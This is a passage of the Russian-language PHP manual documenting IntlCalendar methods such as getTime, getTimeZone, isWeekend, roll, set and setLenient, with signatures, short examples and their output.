string(40) "Sunday, March 31, 2013 at 1:30:00 AM GMT"
int(1)
string(41) "Sunday, March 31, 2013 at 12:30:00 AM GMT"
int(2)
string(40) "Sunday, March 31, 2013 at 1:00:00 AM GMT"

Смотрите также

  • IntlCalendar::getRepeatedWallTimeOption() - Получает поведение для обработки повторяющегося времени процессора
  • IntlCalendar::setSkippedWallTimeOption() - Устанавливает поведение для обработки пропущенного времени процессора при положительных переходах смещения часового пояса
  • IntlCalendar::setRepeatedWallTimeOption() - Устанавливает поведение для обработки повторяющегося времени процессора при отрицательных переходах смещения часового пояса

User Contributed Notes

There are no user contributed notes for this page.


Получает время, представленное в данный момент объектом

  • « IntlCalendar::getSkippedWallTimeOption
  • IntlCalendar::getTimeZone »
  • PHP Manual
  • IntlCalendar
  • Получает время, представленное в данный момент объектом

IntlCalendar::getTime

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::getTime — Получает время, представленное в данный момент объектом

Описание

Объектно-ориентированный стиль

public IntlCalendar::getTime(): float|false

Процедурный стиль

intlcal_get_time(IntlCalendar $calendar): float|false

Возвращает время, связанное с этим объектом, выраженное в миллисекундах с начала эпохи Unix.

Список параметров

calendar

Экземпляр IntlCalendar.

Возвращаемые значения

Число с плавающей точкой (float), представляющее количество миллисекунд, прошедших с начала эпохи Unix (1 января 1970 00:00:00 UTC) или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования IntlCalendar::getTime()

<?php
ini_set('date.timezone', 'Europe/Lisbon');
ini_set('intl.default_locale', 'en_US');

$cal = new IntlGregorianCalendar(2013, 4 /* Май */, 1, 0, 0, 0);
$time = $cal->getTime();
var_dump($time, $time / 1000 == strtotime('2013-05-01 00:00:00')); //true

Результат выполнения данного примера:

float(1367362800000)
bool(true)

Смотрите также

  • IntlCalendar::getNow() - Получает число, представляющее текущее время

User Contributed Notes

There are no user contributed notes for this page.


Получает часовой пояс объекта

  • « IntlCalendar::getTime
  • IntlCalendar::getType »
  • PHP Manual
  • IntlCalendar
  • Получает часовой пояс объекта

IntlCalendar::getTimeZone

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::getTimeZone — Получает часовой пояс объекта

Описание

Объектно-ориентированный стиль

public IntlCalendar::getTimeZone(): IntlTimeZone|false

Процедурный стиль

intlcal_get_time_zone(IntlCalendar $calendar): IntlTimeZone|false

Возвращает объект IntlTimeZone, связанный с календарём.

Список параметров

calendar

Экземпляр IntlCalendar.

Возвращаемые значения

Объект IntlTimeZone, соответствующий тому, который используется внутри объекта. Возвращает false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования IntlCalendar::getTimeZone()

<?php
ini_set('date.timezone', 'Europe/Lisbon');
ini_set('intl.default_locale', 'en_US');

$cal = IntlCalendar::createInstance();
print_r($cal->getTimeZone());

$cal->setTimeZone('UTC');
print_r($cal->getTimeZone());

$cal = IntlCalendar::fromDateTime('2012-01-01 00:00:00 GMT+03:33');
print_r($cal->getTimeZone());

Результат выполнения данного примера:

IntlTimeZone Object
(
    [valid] => 1
    [id] => Europe/Lisbon
    [rawOffset] => 0
    [currentOffset] => 3600000
)
IntlTimeZone Object
(
    [valid] => 1
    [id] => UTC
    [rawOffset] => 0
    [currentOffset] => 0
)
IntlTimeZone Object
(
    [valid] => 1
    [id] => GMT+03:33
    [rawOffset] => 12780000
    [currentOffset] => 12780000
)

Смотрите также

  • IntlCalendar::setTimeZone() - Устанавливает часовой пояс, используемый календарём
  • IntlCalendar::createInstance() - Создаёт новый объект IntlCalendar
  • IntlGregorianCalendar::__construct() - Конструктор класса григорианского календаря

User Contributed Notes

There are no user contributed notes for this page.


Получает тип календаря

  • « IntlCalendar::getTimeZone
  • IntlCalendar::getWeekendTransition »
  • PHP Manual
  • IntlCalendar
  • Получает тип календаря

IntlCalendar::getType

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::getType — Получает тип календаря

Описание

Объектно-ориентированный стиль

public IntlCalendar::getType(): string

Процедурный стиль

intlcal_get_type(IntlCalendar $calendar): string

Строка, описывающая тип календаря. Одно из допустимых значений для значения ключевого слова календаря 'calendar'.

Список параметров

calendar

Экземпляр IntlCalendar.

Возвращаемые значения

Строка (string), представляющая тип календаря, например, 'gregorian', 'islamic' и т.д.

Примеры

Пример #1 Пример использования IntlCalendar::getType()

<?php
ini_set('date.timezone', 'Europe/Lisbon');
ini_set('intl.default_locale', 'en_US');

$cal = IntlCalendar::createInstance(NULL, '@calendar=ethiopic-amete-alem');
var_dump($cal->getType());

$cal = new IntlGregorianCalendar();
var_dump($cal->getType());

Результат выполнения данного примера:

string(19) "ethiopic-amete-alem"
string(9) "gregorian"

User Contributed Notes

There are no user contributed notes for this page.


Получает время дня, когда выходные начинаются или заканчиваются

  • « IntlCalendar::getType
  • IntlCalendar::inDaylightTime »
  • PHP Manual
  • IntlCalendar
  • Получает время дня, когда выходные начинаются или заканчиваются

IntlCalendar::getWeekendTransition

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::getWeekendTransition — Получает время дня, когда выходные начинаются или заканчиваются

Описание

Объектно-ориентированный стиль

public IntlCalendar::getWeekendTransition(int $dayOfWeek): int|false

Процедурный стиль

intlcal_get_weekend_transition(IntlCalendar $calendar, int $dayOfWeek): int|false

Возвращает количество миллисекунд после полуночи, когда выходные начинаются или заканчиваются.

Применимо только для дней недели, для которых IntlCalendar::getDayOfWeekType() возвращает либо IntlCalendar::DOW_TYPE_WEEKEND_OFFSET, либо IntlCalendar::DOW_TYPE_WEEKEND_CEASE. Вызов этой функции для других дней недели является ошибкой.

Для этой функции требуется ICU 4.4 или новее.

Список параметров

calendar

Экземпляр IntlCalendar.

dayOfWeek

Одна из констант: IntlCalendar::DOW_SUNDAY,
IntlCalendar::DOW_MONDAY, ...,
IntlCalendar::DOW_SATURDAY.

Возвращаемые значения

Количество миллисекунд после полуночи, когда выходные начинаются или заканчиваются или false в случае возникновения ошибки.

Примеры

Примеры смотрите в описании функции IntlCalendar::getDayOfWeekType().

User Contributed Notes

There are no user contributed notes for this page.


Определяет, переходит ли время объекта на летнее время

  • « IntlCalendar::getWeekendTransition
  • IntlCalendar::isEquivalentTo »
  • PHP Manual
  • IntlCalendar
  • Определяет, переходит ли время объекта на летнее время

IntlCalendar::inDaylightTime

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::inDaylightTime — Определяет, переходит ли время объекта на летнее время

Описание

Объектно-ориентированный стиль

public IntlCalendar::inDaylightTime(): bool

Процедурный стиль

intlcal_in_daylight_time(IntlCalendar $calendar): bool

Определяет, использует ли представленный этим объектом экземпляр и часовой пояс этого объекта летнее время в данный момент.

Список параметров

calendar

Экземпляр IntlCalendar.

Возвращаемые значения

Возвращает true, если дата указана в летнее время, в противном случае возвращает false.

В случае возникновения ошибки также возвращается false. Для обнаружения условий ошибки используйте intl_get_error_code() или настройте выбрасывание исключений в Intl.

Примеры

Пример #1 Пример использования IntlCalendar::inDaylightTime()

<?php
ini_set('date.timezone', 'Europe/Lisbon');
ini_set('intl.default_locale', 'pt_PT');

$cal = new IntlGregorianCalendar(2013, 6 /* Июль */, 1, 4, 56, 31);
var_dump($cal->inDaylightTime()); // true
$cal->set(IntlCalendar::FIELD_MONTH, 11 /* Декабрь */);
var_dump($cal->inDaylightTime()); // false

//DST end transition on 2013-10-27 at 0200 (время процессора назад на 1 час)
$cal = new IntlGregorianCalendar(2013, 9 /* Октябрь */, 27, 1, 30, 0);

var_dump($cal->inDaylightTime()); // false (по умолчанию WALLTIME_LAST)

$cal->setRepeatedWallTimeOption(IntlCalendar::WALLTIME_FIRST);
$cal->set(IntlCalendar::FIELD_HOUR_OF_DAY, 1); // принудительный перерасчёт времени
var_dump($cal->inDaylightTime()); // true

User Contributed Notes

There are no user contributed notes for this page.


Определяет, равен ли другой календарь, но для другого времени

  • « IntlCalendar::inDaylightTime
  • IntlCalendar::isLenient »
  • PHP Manual
  • IntlCalendar
  • Определяет, равен ли другой календарь, но для другого времени

IntlCalendar::isEquivalentTo

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::isEquivalentTo — Определяет, равен ли другой календарь, но для другого времени

Описание

Объектно-ориентированный стиль

public IntlCalendar::isEquivalentTo(IntlCalendar $other): bool

Процедурный стиль

intlcal_is_equivalent_to(IntlCalendar $calendar, IntlCalendar $other): bool

Возвращает, равны ли этот и данный объект для всех целей, кроме установленного времени. Языковые стандарты могут не совпадать, если из-за такого несоответствия не происходит никаких изменений в поведении. Сюда входит часовой пояс, установлен ли мягкий режим, повторяющиеся и пропущенные настройки времени процессора, дни недели, когда выходные начинаются и заканчиваются и время, когда происходят такие переходы. Также может содержать другие настройки, специфичные для календаря, например, момент перехода между григорианским и юлианским календарём.

Список параметров

calendar

Экземпляр IntlCalendar.

other

Другой календарь, с которым будет производиться сравнение.

Возвращаемые значения

При отсутствии ошибок аргумента возвращает true, если календари равны, за исключением, возможно, установленного времени.

Примеры

Пример #1 Пример использования IntlCalendar::isEquivalentTo()

<?php
$cal1 = IntlCalendar::createInstance('Europe/Lisbon', 'pt_PT');
$cal2 = IntlCalendar::createInstance('Europe/Lisbon', 'es_ES');
$cal2->clear();

var_dump($cal1->isEquivalentTo($cal2)); // true

$cal3 = IntlCalendar::createInstance('Europe/Lisbon', 'en_US');
var_dump($cal1->isEquivalentTo($cal3)); // false
var_dump($cal1->getFirstDayOfWeek(), // 2 (Понедельник)
$cal3->getFirstDayOfWeek()); // 1 (Воскресенье)

Результат выполнения данного примера:

bool(true)
bool(false)
int(2)
int(1)

Смотрите также

  • IntlCalendar::equals() - Сравнивает время двух объектов IntlCalendar на предмет равенства

User Contributed Notes

There are no user contributed notes for this page.


Определяет, является ли интерпретация даты/времени мягкой

  • « IntlCalendar::isEquivalentTo
  • IntlCalendar::isSet »
  • PHP Manual
  • IntlCalendar
  • Определяет, является ли интерпретация даты/времени мягкой

IntlCalendar::isLenient

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::isLenient — Определяет, является ли интерпретация даты/времени мягкой

Описание

Объектно-ориентированный стиль

public IntlCalendar::isLenient(): bool

Процедурный стиль

intlcal_is_lenient(IntlCalendar $calendar): bool

Возвращает, является ли текущая интерпретация даты и времени мягкой (по умолчанию). В этом случае некоторые значения полей вне допустимого диапазона будут приняты вместо того, чтобы вызывать ошибку.

Список параметров

calendar

Экземпляр IntlCalendar.

Возвращаемые значения

Логическое значение (bool), указывающее, установлен ли в календаре мягкий режим.

Примеры

Пример #1 Пример использования IntlCalendar::isLenient()

<?php
ini_set('date.timezone', 'Europe/Lisbon');
ini_set('intl.default_locale', 'pt_PT');
ini_set('intl.use_exceptions', '1');

$cal = new IntlGregorianCalendar(2013, 6 /* Июль */, 1);
var_dump(IntlDateFormatter::formatObject($cal), // 01/07/2013, 00:00:00
$cal->isLenient()); // true

$cal->set(IntlCalendar::FIELD_DAY_OF_MONTH, 33);
var_dump(IntlDateFormatter::formatObject($cal)); // 02/08/2013, 00:00:00

$cal->setLenient(false);
var_dump($cal->isLenient()); // false
$cal->set(IntlCalendar::FIELD_DAY_OF_MONTH, 33);
var_dump(IntlDateFormatter::formatObject($cal)); // ошибка

Результат выполнения данного примера:

string(20) "01/07/2013, 00:00:00"
bool(true)
string(20) "02/08/2013, 00:00:00"
bool(false)

Fatal error: Uncaught exception 'IntlException' with message 'datefmt_format_object: error obtaining instant from IntlCalendar' in /home/foobar/example.php:16
Stack trace:
#0 /home/foobar/example.php(16): IntlDateFormatter::formatObject(Object(IntlGregorianCalendar))
#1 {main}
  thrown in /home/foobar/example.php on line 16

User Contributed Notes

There are no user contributed notes for this page.


Определяет, установлено ли поле

  • « IntlCalendar::isLenient
  • IntlCalendar::isWeekend »
  • PHP Manual
  • IntlCalendar
  • Определяет, установлено ли поле

IntlCalendar::isSet

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::isSet — Определяет, установлено ли поле

Описание

Объектно-ориентированный стиль

public IntlCalendar::isSet(int $field): bool

Процедурный стиль

intlcal_is_set(IntlCalendar $calendar, int $field): bool

Возвращает, установлено ли поле (в отличие от clear). Установленные поля приоритетнее неустановленных полей и их значений по умолчанию при вычислении даты и времени. Поля, установленные позже приоритетнее полей, установленных ранее.

Список параметров

calendar

Экземпляр IntlCalendar.

field

Одна из представленных в классе IntlCalendar констант полей типа дата/время. Целое число от 0 до IntlCalendar::FIELD_COUNT.

Возвращаемые значения

В случае отсутствия ошибок аргумента возвращает true, если поле установлено.

Примеры

Смотрите пример в описании метода IntlCalendar::clear().

Смотрите также

  • IntlCalendar::clear() - Очищает поле или все поля
  • IntlCalendar::set() - Устанавливает поле времени или сразу несколько общих полей

User Contributed Notes

There are no user contributed notes for this page.


Определяет, приходятся ли определённые дата/время на выходные

  • « IntlCalendar::isSet
  • IntlCalendar::roll »
  • PHP Manual
  • IntlCalendar
  • Определяет, приходятся ли определённые дата/время на выходные

IntlCalendar::isWeekend

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::isWeekend — Определяет, приходятся ли определённые дата/время на выходные

Описание

Объектно-ориентированный стиль

public IntlCalendar::isWeekend(?float $timestamp = null): bool

Процедурный стиль

intlcal_is_weekend(IntlCalendar $calendar, ?float $timestamp = null): bool

Возвращает, является ли текущее время объекта или заданная временная метка выходными в календарной системе этого объекта.

Для этой функции требуется ICU 4.4 или новее.

Список параметров

calendar

Экземпляр IntlCalendar.

timestamp

Необязательная метка времени, представляющая количество миллисекунд с начала эпохи Unix, исключая дополнительные секунды. Если null, вместо этого используется текущее время объекта.

Возвращаемые значения

Логическое значение (bool), указывающее, является ли время объекта выходными.

В случае возникновения ошибки также возвращается false. Для обнаружения условий ошибки используйте intl_get_error_code() или настройте выбрасывание исключений в Intl.

Примеры

Пример #1 Пример использования IntlCalendar::isWeekend()

<?php
ini_set('date.timezone', 'Europe/Lisbon');

$cal = new IntlGregorianCalendar(NULL, 'en_US');
$cal->set(2013, 6 /* Июль */, 7); // Воскресенье

var_dump($cal->isWeekend()); // true
var_dump($cal->isWeekend(strtotime('2013-07-01 00:00:00'))); // false, Понедельник

$cal = new IntlGregorianCalendar(NULL, 'ar_SA');
$cal->set(2013, 6 /* Июль */, 7); // Воскресенье
var_dump($cal->isWeekend()); // false, воскресенье не является выходным днём в этом календаре

Смотрите также

  • IntlCalendar::getDayOfWeekType() - Сообщает, является ли день будним, выходным или днём с переходом между ними
  • IntlCalendar::getWeekendTransition() - Получает время дня, когда выходные начинаются или заканчиваются

User Contributed Notes

There are no user contributed notes for this page.


Добавляет значение в поле без переноса в более важные поля

  • « IntlCalendar::isWeekend
  • IntlCalendar::set »
  • PHP Manual
  • IntlCalendar
  • Добавляет значение в поле без переноса в более важные поля

IntlCalendar::roll

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::roll — Добавляет значение в поле без переноса в более важные поля

Описание

Объектно-ориентированный стиль

public IntlCalendar::roll(int $field, int|bool $value): bool

Процедурный стиль

intlcal_roll(IntlCalendar $calendar, int $field, int|bool $value): bool

Добавляет количество (со знаком) в поле. Отличие от IntlCalendar::add() состоит в том, что когда значение поля переполняется, оно не переносится в более важные поля.

Список параметров

calendar

Экземпляр IntlCalendar.

field

Одна из представленных в классе IntlCalendar констант полей типа дата/время. Целое число от 0 до IntlCalendar::FIELD_COUNT.

value

Количество (со знаком), добавляемое к полю, true для сворачивания (добавление 1) или false для скатывания вниз (вычитание 1).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования IntlCalendar::roll()

<?php
ini_set('date.timezone', 'Europe/Lisbon');
ini_set('intl.default_locale', 'pt_PT');

$cal = new IntlGregorianCalendar(2013, 5 /* Июнь */, 30);

$cal->add(IntlCalendar::FIELD_DAY_OF_MONTH, 1);
var_dump(IntlDateFormatter::formatObject($cal)); // "01/07/2013, 00:00:00"

$cal->set(2013, 5 /* Июнь */, 30);
$cal->roll(IntlCalendar::FIELD_DAY_OF_MONTH, true); // свернуть так же, как скатиться +1
var_dump(IntlDateFormatter::formatObject($cal)); // "01/06/2013, 00:00:00"

Результат выполнения данного примера:

string(20) "01/07/2013, 00:00:00"
string(20) "01/06/2013, 00:00:00"

Смотрите также

  • IntlCalendar::add() - Добавляет количество (со знаком) времени в поле
  • IntlCalendar::set() - Устанавливает поле времени или сразу несколько общих полей

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает поле времени или сразу несколько общих полей

  • « IntlCalendar::roll
  • IntlCalendar::setDate »
  • PHP Manual
  • IntlCalendar
  • Устанавливает поле времени или сразу несколько общих полей

IntlCalendar::set

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::set — Устанавливает поле времени или сразу несколько общих полей

Описание

Объектно-ориентированный стиль

public IntlCalendar::set(int $field, int $value): true
public IntlCalendar::set(
int $year,
int $month,
int $dayOfMonth = NULL,
int $hour = NULL,
int $minute = NULL,
int $second = NULL
): true

Процедурный стиль

intlcal_set(IntlCalendar $cal, int $field, int $value): true
intlcal_set(
IntlCalendar $cal,
int $year,
int $month,
int $dayOfMonth = NULL,
int $hour = NULL,
int $minute = NULL,
int $second = NULL
): bool

Устанавливает либо конкретное поле на заданное значение, либо устанавливает сразу несколько общих полей. Диапазон допустимых значений зависит от того, использует ли календарь мягкий режим.

Для полей, которые конфликтуют, поля, которые устанавливаются позже, имеют приоритет.

Этот метод нельзя вызвать ровно с четырьмя аргументами.

Список параметров

cal

Экземпляр IntlCalendar.

field

Одна из представленных в классе IntlCalendar констант полей типа дата/время. Целое число от 0 до IntlCalendar::FIELD_COUNT.

value

Новое значение указанного поля.

year

Новое значение для IntlCalendar::FIELD_YEAR.

month

Новое значение для IntlCalendar::FIELD_MONTH. Последовательность месяцев отсчитывается от нуля, т.е. январь представлен 0, февраль - 1, ..., декабрь - 11, а Тринадцатый месяц (если в календаре) - 12.

dayOfMonth

Новое значение для IntlCalendar::FIELD_DAY_OF_MONTH.

hour

Новое значение для IntlCalendar::FIELD_HOUR_OF_DAY.

minute

Новое значение для IntlCalendar::FIELD_MINUTE.

second

Новое значение для IntlCalendar::FIELD_SECOND.

Возвращаемые значения

Функция всегда возвращает true.

Список изменений

Версия | Описание
8.2.0 | Тип возвращаемого значения теперь true; ранее было bool.

Примеры

Пример #1 Пример использования IntlCalendar::set()

<?php
ini_set('date.timezone', 'Europe/Lisbon');
ini_set('intl.default_locale', 'pt_PT');

// Вызовы, сделанные позже, приоритетнее
$cal = new IntlGregorianCalendar(2013, 6 /* Июль */, 1);
$cal->set(IntlCalendar::FIELD_YEAR, 2012);
$cal->set(IntlCalendar::FIELD_EXTENDED_YEAR, 2011);
var_dump(IntlDateFormatter::formatObject($cal));

$cal = new IntlGregorianCalendar(2013, 6 /* Июль */, 1);
$cal->set(IntlCalendar::FIELD_YEAR, 2012);
$cal->set(IntlCalendar::FIELD_EXTENDED_YEAR, 2011);
// Время еще не пересчитано. Если мы очистим EXTENDED_YEAR,
// будет использован предыдущий год.
$cal->clear(IntlCalendar::FIELD_EXTENDED_YEAR);
var_dump(IntlDateFormatter::formatObject($cal));

Результат выполнения данного примера:

string(20) "01/07/2011, 00:00:00"
string(20) "01/07/2012, 00:00:00"

Смотрите также

  • IntlCalendar::get() - Получает значение поля
  • IntlCalendar::add() - Добавляет количество (со знаком) времени в поле
  • IntlCalendar::roll() - Добавляет значение в поле без переноса в более важные поля

User Contributed Notes

There are no user contributed notes for this page.


Set a date fields

  • « IntlCalendar::set
  • IntlCalendar::setDateTime »
  • PHP Manual
  • IntlCalendar
  • Set a date fields

IntlCalendar::setDate

(PHP 8 >= 8.3.0)

IntlCalendar::setDate — Set a date fields

Описание

public IntlCalendar::setDate(int $year, int $month, int $dayOfMonth): void

Sets a date fields to the given value.

Список параметров

year

The new value for IntlCalendar::FIELD_YEAR.

month

The new value for IntlCalendar::FIELD_MONTH. The month sequence is zero-based, i.e., January is represented by 0, February by 1, ..., December is 11 and Undecember (if the calendar has it) is 12.

dayOfMonth

The new value for IntlCalendar::FIELD_DAY_OF_MONTH.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 IntlCalendar::setDate() example

<?php
$intlCal = IntlCalendar::createInstance('UTC');

$intlCal->setDate(2012, 1, 29);
?>

User Contributed Notes

There are no user contributed notes for this page.


Set a date and time fields

  • « IntlCalendar::setDate
  • IntlCalendar::setFirstDayOfWeek »
  • PHP Manual
  • IntlCalendar
  • Set a date and time fields

IntlCalendar::setDateTime

(PHP 8 >= 8.3.0)

IntlCalendar::setDateTime — Set a date and time fields

Описание

public IntlCalendar::setDateTime(
int $year,
int $month,
int $dayOfMonth,
int $hour,
int $minute,
int $second = null
): void

Sets a date and time fields to the given value.

Список параметров

year

The new value for IntlCalendar::FIELD_YEAR.

month

The new value for IntlCalendar::FIELD_MONTH. The month sequence is zero-based, i.e., January is represented by 0, February by 1, ..., December is 11 and Undecember (if the calendar has it) is 12.

dayOfMonth

The new value for IntlCalendar::FIELD_DAY_OF_MONTH.

hour

The new value for IntlCalendar::FIELD_HOUR_OF_DAY.

minute

The new value for IntlCalendar::FIELD_MINUTE.

second

The new value for IntlCalendar::FIELD_SECOND.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 IntlCalendar::setDateTime() example

<?php
$intlCal = IntlCalendar::createInstance('UTC');

$intlCal->setDateTime(2012, 1, 29, 23, 58);
?>

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает день, который является началом недели

  • « IntlCalendar::setDateTime
  • IntlCalendar::setLenient »
  • PHP Manual
  • IntlCalendar
  • Устанавливает день, который является началом недели

IntlCalendar::setFirstDayOfWeek

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::setFirstDayOfWeek — Устанавливает день, который является началом недели

Описание

Объектно-ориентированный стиль

public IntlCalendar::setFirstDayOfWeek(int $dayOfWeek): true

Процедурный стиль

intlcal_set_first_day_of_week(IntlCalendar $calendar, int $dayOfWeek): true

Определяет день недели, который считается началом недели. Это влияет на поведение полей, которые зависят от концепции начала и конца недели, например: IntlCalendar::FIELD_WEEK_OF_YEAR и IntlCalendar::FIELD_YEAR_WOY.

Список параметров

calendar

Экземпляр IntlCalendar.

dayOfWeek

Одна из констант IntlCalendar::DOW_SUNDAY,
IntlCalendar::DOW_MONDAY, ...,
IntlCalendar::DOW_SATURDAY.

Возвращаемые значения

Функция всегда возвращает true.

Список изменений

Версия | Описание
8.2.0 | Тип возвращаемого значения теперь true; ранее было bool.

Примеры

Пример #1 Пример использования IntlCalendar::setFirstDayOfWeek()

<?php
ini_set('date.timezone', 'Europe/Lisbon');
ini_set('intl.default_locale', 'es_ES');

$cal = IntlCalendar::createInstance();
$cal->set(2013, 5 /* Июнь */, 30); // Воскресенье

var_dump($cal->getFirstDayOfWeek()); // 2 (Понедельник)

echo IntlDateFormatter::formatObject($cal, <<<EOD
'местный день недели: 'cc'
неделя месяца : 'W'
неделя года : 'ww
EOD
), "\n";

$cal->setFirstDayOfWeek(IntlCalendar::DOW_SUNDAY);

echo IntlDateFormatter::formatObject($cal, <<<EOD
'местный день недели: 'cc'
неделя месяца : 'W'
неделя года : 'ww
EOD
), "\n";

Результат выполнения данного примера:

int(2)
местный день недели: 7
неделя месяца    : 4
неделя года     : 26
местный день недели: 1
неделя месяца    : 5
неделя года     : 27

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает, должна ли интерпретация даты/времени быть мягкой

  • « IntlCalendar::setFirstDayOfWeek
  • IntlCalendar::setMinimalDaysInFirstWeek »
  • PHP Manual
  • IntlCalendar
  • Устанавливает, должна ли интерпретация даты/времени быть мягкой

IntlCalendar::setLenient

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::setLenient — Устанавливает, должна ли интерпретация даты/времени быть мягкой

Описание

Объектно-ориентированный стиль

public IntlCalendar::setLenient(bool $lenient): true

Процедурный стиль

intlcal_set_lenient(IntlCalendar $calendar, bool $lenient): true

Определяет, является ли календарь "мягким" режимом. В таком режиме принимаются некоторые из значений, выходящих за границы для некоторых полей, поведение аналогично поведению IntlCalendar::add() (т.е. значение переносится каждый раз в более важные поля). Если мягкий режим выключен, такие значения будут вызывать ошибку.

Список параметров

calendar

Экземпляр IntlCalendar.

lenient

Используйте true для активации мягкого режима; false для выключения.

Возвращаемые значения

Функция всегда возвращает true.

Список изменений

Версия | Описание
8.2.0 | Тип возвращаемого значения теперь true; ранее было bool.

Примеры

Смотрите пример в описании метода IntlCalendar::isLenient().

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает минимальное количество дней, которое может быть в первой неделе в году или месяце

  • « IntlCalendar::setLenient
  • IntlCalendar::setRepeatedWallTimeOption »
  • PHP Manual
  • IntlCalendar
  • Устанавливает минимальное количество дней, которое может быть в первой неделе в году или месяце

IntlCalendar::setMinimalDaysInFirstWeek

(PHP 5 >= 5.5.1, PHP 7, PHP 8)

IntlCalendar::setMinimalDaysInFirstWeek — Устанавливает минимальное количество дней, которое может быть в первой неделе в году или месяце

Описание

Объектно-ориентированный стиль

public IntlCalendar::setMinimalDaysInFirstWeek(int $days): true

Процедурный стиль

intlcal_set_minimal_days_in_first_week(IntlCalendar $calendar, int $days): true

Устанавливает наименьшее количество дней, которые должны пройти в первую неделю года или месяца в новом году или месяце. Например, в григорианском календаре, если это значение равно 1, то первая неделя года обязательно будет включать 1 января, а если это значение равно 7, то неделя с 1 января будет первой неделей года, только если день недели 1 января совпадает с днём недели, возвращаемым IntlCalendar::getFirstDayOfWeek(); в противном случае это будет последняя неделя прошлого года.

Список параметров

calendar

Экземпляр IntlCalendar.

days

Количество минимальных дней, которые нужно установить.

Возвращаемые значения

Функция всегда возвращает true.

Ошибки

Метод выбрасывает ошибку ValueError, если параметр days находится вне диапазона (меньше 1 или больше 7).

Список изменений

Версия | Описание
8.0.0 | В случае некорректного ввода данных теперь выдаётся ошибка ValueError; ранее возвращалось значение false.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает поведение для обработки повторяющегося времени процессора при отрицательных переходах смещения часового пояса

  • « IntlCalendar::setMinimalDaysInFirstWeek
  • IntlCalendar::setSkippedWallTimeOption »
  • PHP Manual
  • IntlCalendar
  • Устанавливает поведение для обработки повторяющегося времени процессора при отрицательных переходах смещения часового пояса

IntlCalendar::setRepeatedWallTimeOption

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::setRepeatedWallTimeOption — Устанавливает поведение для обработки повторяющегося времени процессора при отрицательных переходах смещения часового пояса

Описание

Объектно-ориентированный стиль

public IntlCalendar::setRepeatedWallTimeOption(int $option): true

Процедурный стиль

intlcal_set_repeated_wall_time_option(IntlCalendar $calendar, int $option): true

Устанавливает текущую стратегию работы со временем процессора, которая повторяется всякий раз, когда часы переводятся назад во время перехода на летнее время. Значение по умолчанию - IntlCalendar::WALLTIME_LAST (момент после перехода на летнее время). Другое возможное значение - IntlCalendar::WALLTIME_FIRST (момент, который наступает во время перехода на летнее время).

Для этой функции требуется ICU 4.9 или новее.

Список параметров

calendar

Экземпляр IntlCalendar.

option

Одна из констант: IntlCalendar::WALLTIME_FIRST или IntlCalendar::WALLTIME_LAST.

Возвращаемые значения

Функция всегда возвращает true.

Список изменений

Версия | Описание
8.2.0 | Тип возвращаемого значения теперь true; ранее было bool.

Примеры

Смотрите примеры в описании функции IntlCalendar::getRepeatedWallTimeOption().

Смотрите также

  • intlCalendar::getRepeatedWallTimeOption() - Получает поведение для обработки повторяющегося времени процессора
  • intlCalendar::setSkippedWallTimeOption() - Устанавливает поведение для обработки пропущенного времени процессора при положительных переходах смещения часового пояса
  • intlCalendar::getSkippedWallTimeOption() - Получает поведение для обработки пропущенного времени процессора

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает поведение для обработки пропущенного времени процессора при положительных переходах смещения часового пояса

  • « IntlCalendar::setRepeatedWallTimeOption
  • IntlCalendar::setTime »
  • PHP Manual
  • IntlCalendar
  • Устанавливает поведение для обработки пропущенного времени процессора при положительных переходах смещения часового пояса

IntlCalendar::setSkippedWallTimeOption

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::setSkippedWallTimeOption — Устанавливает поведение для обработки пропущенного времени процессора при положительных переходах смещения часового пояса

Описание

Объектно-ориентированный стиль

public IntlCalendar::setSkippedWallTimeOption(int $option): true

Процедурный стиль

intlcal_set_skipped_wall_time_option(IntlCalendar $calendar, int $option): true

Устанавливает текущую стратегию для работы со временем процессора, которое пропускается всякий раз, когда часы переводятся на летнее время. Значение по умолчанию - IntlCalendar::WALLTIME_LAST (момент, когда время процессора на один час больше). Альтернативные значения: IntlCalendar::WALLTIME_FIRST (момент, когда время процессора на один час меньше) и IntlCalendar::WALLTIME_NEXT_VALID (момент, когда начинается летнее время).

Влияет только на момент, представленный календарём (как сообщает IntlCalendar::getTime()), значения поля не будут переписаны соответствующим образом.

Чтобы эта опция имела какой-либо эффект, календарь должен быть в мягком режиме, в противном случае попытка установить несуществующее время вызовет ошибку. error.

Для этой функции требуется ICU 4.9 или новее.

Список параметров

calendar

Экземпляр IntlCalendar.

option

Одна из констант: IntlCalendar::WALLTIME_FIRST,
IntlCalendar::WALLTIME_LAST или
